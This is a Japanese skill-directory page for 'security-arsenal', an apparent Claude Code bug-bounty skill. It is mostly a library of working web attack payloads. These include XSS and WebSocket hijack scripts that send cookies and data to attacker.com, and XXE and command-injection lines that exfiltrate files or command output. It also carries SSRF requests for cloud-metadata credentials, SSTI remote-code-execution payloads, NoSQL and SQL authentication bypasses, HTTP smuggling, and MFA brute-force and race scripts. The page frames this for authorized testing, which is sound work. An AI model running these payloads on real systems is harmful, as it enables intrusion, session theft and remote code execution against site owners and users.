mcpField
S
security-arsenal

security-arsenal

github.com/elementalsoulsセキュリティ5.3k277 回インストール今日更新
リポジトリ

security-arsenal について

security-arsenalは、一般的なWeb脆弱性を対象とするセキュリティテスト用ペイロード、回避例、テストメモをまとめたリファレンススキルです。探査手法を整理して使いたいセキュリティテスター向けです。

主な機能

  1. 01一般的なWeb脆弱性のペイロード
  2. 02SSRFとフィルター回避の例
  3. 03認証・認可のテスト手法
  4. 04テンプレート・コマンドインジェクション例
  5. 05HTTPスマグリングとWebSocketのテスト

活用シーン

  1. 01許可されたWeb評価でのプローブ選定
  2. 02入力処理におけるインジェクション確認
  3. 03認証とアクセス制御の挙動テスト
  4. 04HTTPリクエストの非同期化やWebSocketの安全性確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill security-arsenal

インストール後、Claude Code で/security-arsenalを入力して読み込まれたか確認します。

詳細

セキュリティ攻撃手法集

ペイロード、バイパス一覧、ワードリスト、提出ルール。


XSS ペイロード

基本的な検査
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)
Cookie の窃取(影響の証明)
<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>
CSP バイパス手法
// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>
DOM XSS のソースとシンク
// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

SSRF ペイロード

クラウドメタデータ
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true
内部サービスのフィンガープリント
http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server
SSRF IP バイパスペイロード
# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

SQL インジェクションペイロード

検出
'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--
UNION ベース(カラム数の特定)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
ブラインド SQLi(時間ベースの確認)
# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--
WAF バイパス
/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

XXE ペイロード

従来型のファイル読み取り
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
HTTP 経由のブラインド OOB(DNS による確認)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>
DNS 経由のブラインド OOB + データ窃取
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>
DOCX/SVG/PDF アップロード経由の XXE
  • SVG:<image href="file:///etc/passwd" />
  • DOCX:外部エンティティを含む悪意のある XML を word/document.xml に配置

パストラバーサルペイロード

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

IDOR/認証バイパスペイロード

水平権限昇格
# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456
垂直権限昇格
# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

認証バイパスペイロード

JWT 攻撃
# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt
OAuth 攻撃
# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack

NoSQL インジェクションペイロード(MongoDB)

演算子インジェクション(JSON ボディ)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}
GET パラメーターインジェクション
# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)
認証バイパスのワンライナー
curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null

コマンドインジェクションペイロード

基本的な検出
; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
ブラインド OOB(アウトオブバンド確認)
; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)
バイパス手法
# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd

# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd

# Bypass via env
;$BASH -c 'id'
;${IFS}id

# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com
コンテキスト固有(ファイル名インジェクション)
# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd

SSTI 検出ペイロード(全エンジン)

汎用プローブ(すべて送信し、評価されるものを確認)
{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)
${7*7}         → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7}         → 49 = Mako (Python) or Pebble (Java)
*{7*7}         → 49 = Spring Thymeleaf
{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")}  → Freemarker RCE
エンジン別 RCE ペイロード

Jinja2(Python/Flask/Django):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

Twig(PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Freemarker(Java):

${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

ERB(Ruby on Rails):

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>

Spring Thymeleaf:

${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

EJS(Node.js):

<%= process.mainModule.require('child_process').execSync('id') %>
テスト対象
Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates

HTTP スマグリングペイロード

CL.TE — フロントエンドは Content-Length、バックエンドは Transfer-Encoding
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
TE.CL — フロントエンドは Transfer-Encoding、バックエンドは Content-Length
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3

8
SMUGGLED
0


TE.TE — 両方が Transfer-Encoding をサポートし、一方を無効化するよう難読化
# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
H2.CL — Content-Length インジェクションを伴う HTTP/2 フロントエンド
# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync
検出(Burp)
1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED
影響の連鎖
Basic desync          → Capture victim's next request → Read their auth token
+ Admin user traffic  → Access admin as victim
+ Cache poisoning     → Stored XSS at scale for all users

WebSocket ペイロード

IDOR/認証バイパス
// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}
クロスサイト WebSocket ハイジャック(CSWSH)

<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>
Origin 検証のテスト
# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"
WS メッセージ経由のインジェクション
// XSS in chat/notification system
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}

// SQLi
{"action": "search", "query": "' OR 1=1--"}

// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}

MFA/2FA バイパスペイロード

パターン 1:OTP のブルートフォース(レート制限なし)
# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 \
  -t 5

# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request
パターン 2:OTP の再利用(トークンが無効化されない)
1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login
パターン 3:レスポンスの改ざん
Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard
パターン 4:コードの予測可能性
import requests, time

# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31):  # Test ±30 seconds
    totp_value = generate_totp(secret, time.time() + t_offset)
    r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
    if r.status_code == 200:
        print(f"VALID at offset {t_offset}s: {totp_value}")
        break
パターン 5:バックアップコードにレート制限がない
# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit
パターン 6:MFA ステップのスキップ(ワークフローバイパス)
# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass

# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session
パターン 7:MFA 検証時の競合状態
import asyncio, aiohttp

# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return await r.json()

async def race():
    async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
        results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
        print(results)

asyncio.run(race())

SAML 攻撃

攻撃 1:XML 署名ラッピング(XSW)

<saml:Assertion ID="legit">
  <NameID>[email protected]</NameID>
  <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>



<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>     
  </saml:Assertion>
  <saml:Assertion ID="legit">              
    <NameID>[email protected]</NameID>
    <ds:Signature>VALID_SIGNATURE</ds:Signature>
  </saml:Assertion>
</saml:Response>
攻撃 2:NameID へのコメントインジェクション


<NameID>[email protected]</NameID>



攻撃 3:署名の削除
1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to [email protected]
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login
攻撃 4:SAML アサーション内の XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
  <saml:Assertion>
    <NameID>&xxe;</NameID>
  </saml:Assertion>
</saml:Response>
ツール
# SAMLRaider (Burp extension) — most automated XSW testing
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider

# Manual: decode, modify, re-encode
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
# Edit saml.xml
cat saml.xml | base64 -w0  # Re-encode

GF パターン名(tomnomnom/gf)

# Install: https://github.com/tomnomnom/gf
# Usage: cat urls.txt | gf PATTERN

gf xss          # XSS parameters
gf ssrf         # SSRF parameters
gf idor         # IDOR parameters
gf sqli         # SQL injection parameters
gf redirect     # Open redirect parameters
gf lfi          # Local file inclusion
gf rce          # Remote code execution parameters
gf ssti         # Template injection parameters
gf debug_logic  # Debug/logic parameters
gf secrets      # Secret/token patterns
gf upload-fields # File upload parameters
gf cors         # CORS-related parameters

常に却下 — 絶対に提出しない

これらを提出すると、有効率が低下します。N/A は不利です。提出しないでください。

Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC)
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields

条件付きで有効 — チェーンが必要です

実際の影響を証明するチェーンと組み合わせた場合にのみ有効です。

単独の指摘事項必要なチェーンチェーンが成立した場合の結果
オープンリダイレクト+ redirect_uri の悪用による OAuth コード窃取ATO(クリティカル)
クリックジャッキング+ 機密性の高い操作 + 動作する PoC(ログインだけでは不可)中
CORS のワイルドカード+ 認証情報付きリクエストによるユーザーデータの流出高
CSRF+ 機密性の高い操作(資金の送金、メールアドレスの変更)高
レート制限の回避+ OTP/トークンのブルートフォース攻撃の成功中/高
SSRF(DNS のみ)+ 内部サービスへのアクセス + データの取得中
Host ヘッダーインジェクション+ パスワードリセットメールでの Host ヘッダーの使用高
プロンプトインジェクション+ 他のユーザーのデータの読み取り(IDOR)、またはデータ流出、または RCE高
S3 バケットの一覧表示+ API キー/OAuth シークレットを含む JS バンドル中/高
Self-XSS+ 被害者に実行させる CSRF中
サブドメインテイクオーバー+ そのサブドメインに登録された OAuth redirect_uriクリティカル
GraphQL イントロスペクション+ 認証を回避するミューテーション、または node() の IDOR高

ルール: まずチェーンを組み立て、エンドツーエンドで動作することを確認してから報告してください。「A は B とチェーンできる可能性がある」と報告するのではなく、必ず証明してください。


ワードリスト(~/wordlists/ にインストール済み)

common.txt         # Common directories and files
params.txt         # Parameter names (id, user_id, file, etc.)
api-endpoints.txt  # API endpoint paths (/api/v1/users, etc.)
dirs.txt           # Directory names
sensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)
ファジングする価値のある組み込みパス
# Sensitive files
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt

# Admin panels
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel

# API discovery
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2

関連スキルとチェーン

  • hunt-xss / hunt-ssrf / hunt-sqli / hunt-ssti / hunt-idor — ハンターがパラメーターを積極的にテストしていて、ペイロードが必要な場合に使用します。ワークフローの基本要素:このスキルは、各 hunt-* スキルが参照するペイロードライブラリです。hunt-* スキルがシンクを特定し、このスキルが構文を提供します。
  • triage-validation — 指摘事項がそもそも報告可能かどうかを判断する場合に使用します。ワークフローの基本要素:両スキルの「常に却下」と「条件付きで有効 — チェーンが必要」の表は一致している必要があります。triage-validation は 7 つの質問によるゲートを実行し、このスキルは Q7 で使用される、チェーンが必要なケースの対応表を提供します。
  • web2-recon — URL セットが gf パターンによって分類された場合に使用します。ワークフローの基本要素:偵察で得られた gf xss/ssrf/sqli の出力に対応するペイロードのセクションをここで参照します。gf のパターン名から、このスキルのペイロードセクションを直接特定できます。
  • evidence-hygiene — ペイロードがスクリーンショットに残す価値のある出力を生成した場合に使用します。ワークフローの基本要素:ペイロードで影響(Cookie の窃取、データの流出)が実証されたら、スクリーンショットを証拠として扱う前に、編集のため evidence-hygiene に引き継ぎます。
  • bb-methodology — フェーズ 3(発見)で入力の種類に応じた振り分けを行う場合に使用します。ワークフローの基本要素:フェーズ 3 の判断フロー(「ID パラメーター → IDOR チェックリスト」、「URL 入力 → SSRF チェックリスト」)から、このペイロード集のどのセクションを読み込むかがわかります。

オペレーター向けメモ(Claude-BugHunter)

エンゲージメントから得られた知見に基づく、2026 年固有の追加情報です。ベンダー提供の基盤に追加されています。 実際の許可済みエンゲージメントでの知見に加え、このリポジトリの 31 以上のスキル領域におけるライブテストを通じてフェーズ 2 で検証した内容です。上流のペイロードライブラリが「何」を扱うのに対し、このレイヤーでは「機能する場合」と「機能しない場合」を扱います。

ペイロードの鮮度 — 2026 年時点で古くなったもの

従来の CL.TE/TE.CL HTTP スマグリングペイロードは、Nginx ≥ 1.21、Caddy 2.x、Envoy ≥ 1.20 に対しては機能しなくなっています(フェーズ 2H で検証済み)。ただし、HAProxy ≤ 2.4、旧バージョンの F5 BIG-IP、Citrix ADC、AWS ALB 固有の設定、Apache Traffic Server に対しては引き続き機能します。ペイロードに時間を費やす前に、フロントエンドを特定してください。curl -sI を使い、Server: ヘッダー、Via: のチェーン、TLS JA3 を確認します。そうすれば、パーサーによって入り口で拒否されるペイロードに何時間も費やさずに済みます。

従来型の XXE も同様です。Python lxml ≥ 5.x は、デフォルトで SYSTEM エンティティを黙って破棄します(フェーズ 2G の調査結果)。ペイロードが引き続き有効なのは、Java SAX、LIBXML_NOENT を指定した PHP DOMDocument、XmlResolver がまだ有効な .NET XmlDocument、旧バージョンの lxml(< 5.0)、DTDLOAD を指定した Ruby Nokogiri、および多数の組み込み XML プロセッサー(SOAP ライブラリ、SAML 実装、Office ドキュメントパーサーなど)です。ペイロードライブラリにはこれらが引き続き含まれています。対象のパーサーが今も脆弱なものに該当するかどうかは、オペレーターが判断してください。

2026 年時点で、デフォルトでは古くなっているものの、すべての環境で使えなくなったわけではないペイロードはほかにもあります。<a href> 内の javascript: URL(Chrome は明示的なユーザージェスチャーがない限りブロックしますが、組み込み WebView、Electron、旧バージョンの Edge では機能します)、トップレベルナビゲーションでの data:text/html(最新のブラウザーはナビゲーション時にこれを除去します)、Location: 内の CRLF インジェクション(ほとんどのリバースプロキシは正規化します)などです。汎用ブラウザーではなく、必ず実際の対象環境でテストしてください。

WAF の評価順序が重要です

同じ WAF に対して複数のバイパスペイロードがある場合、試す順序は次のとおりです。

  1. エンコーディングの工夫 — 大文字・小文字の変更(SeLeCt)、URL エンコードを 1 回、URL エンコードを 2 回、Unicode エスケープ(<)、HTML エンティティ(&#x3c;)、UTF-8 の不正な長形式シーケンス。
  2. パーサーの癖 — XML 名前空間、キーワードの途中に挿入した JSON の \u エスケープ、Content-Type: application/json と application/x-www-form-urlencoded のパーサー解釈の食い違い、マルチパート境界の工夫。
  3. プロトコルレベル — HTTP/2 と HTTP/1.1 の使い分け(一部の WAF は片方しか検査しません)、Host ヘッダーインジェクション、X-Original-URL、X-Forwarded-* のスマグリング。
  4. WAF ルール固有のバイパス — Cloudflare、AWS WAF、Akamai、Imperva、F5 ASM にはそれぞれ既知のシグネチャーの抜け穴があります。ベンダー固有のペイロードのサブセクションを読み込んでください。

ほとんどのエンゲージメントはステップ 2 で終わります。最新の WAF は、パーサーの癖を利用するタイプに反応するためです。これは、WAF とオリジンアプリで「有効な」リクエストの解釈が異なるためです。

OOB 確認必須ゲートはすべてのケースに適用されます

ブラインド型のプリミティブ(ブラインド SQLi、ブラインド XSS、ブラインド SSRF、ブラインド RCE、ブラインド XXE)には、すべて OOB による確認が必要です。それがなければ、脆弱性とパーサーエラーのログを区別できません。フェーズ 2D の強化ラボでは、表面上は実際の脆弱性と同じように見える誤検知を、このゲートで排除できることが実証されました。500 ページに you have an error in your SQL syntax というテキストを含むエラーメッセージがあっても、それはまったく別のリクエストから出たパーサーログかもしれません。報告する前に、Burp Collaborator ドメイン(または interactsh)にアクセスさせ、コールバックを確認してください。

2026 年時点の OOB コールバック基盤の推奨順位:(1)Burp Collaborator(Pro ライセンスが必要。最も使いやすい)、(2)interactsh-client(オープンソース。同等の性能)、(3)DNSLog.cn(無料ですが、サードパーティーによって記録されます。有償のエンゲージメントでは決して使わないでください)、(4)セルフホストのキャッチオール DNS と HTTP リスナー(長期エンゲージメントに最も信頼性があります)。

マーカーの運用を徹底する

一般的な単語は、対象のコンテンツに自然に含まれています。javascript を検索して「JavaScript Tutorial」にヒットしても、それは反射ではなく、キーワードが偶然一致しただけです。ランダムで一意な文字列を使ってください。

m=$(head -c 12 /dev/urandom | base64 | tr -d '+/=' | head -c 12)
# now m is like "K7gXq2pNRm1z" — search for THIS in the response
curl "https://target/search?q=${m}" | grep -c "$m"

マーカーがレスポンスに含まれていれば、反射があります。HTML コンテキストでエスケープされずに含まれていれば、XSS の可能性があります。Location ヘッダーに含まれていれば、リダイレクトです。SQL エラーに含まれていれば、インジェクションです。マーカーだけを唯一の確かな判断基準にしてください。一般的なキーワードは誤解を招きます。

ノイズの多いオラクルに対する統計的サンプリング

1 回の試行によるタイミング差はノイズです。n≥10 回の試行を交互に実施し、Welch の t 統計量が 3 を超えること、または同等の信頼区間の分離を求めてください。フェーズ 2D では、意図的にノイズを加えたタイミングオラクルを使ってこれを検証しました。1 回の試行では 129ms の差が見られ(この結果は報告されていたはずです)、n=10 回では平均 78ms 対 191ms、t=5.26 となり、実際に差があり、十分な裏付けが得られました。

タイミングサイドチャネル検証のひな形:

import statistics
def welch_t(a, b):
    ma, mb = statistics.mean(a), statistics.mean(b)
    va, vb = statistics.variance(a), statistics.variance(b)
    return (ma - mb) / ((va/len(a) + vb/len(b)) ** 0.5)
# interleave control + test trials, n=10 each, t > 3 = signal

同じルールは、ジッターがある状況で差分がレスポンス長やステータスコードとなるブラインドブーリアンオラクルにも当てはまります。推測せず、サンプリングしてください。

コメント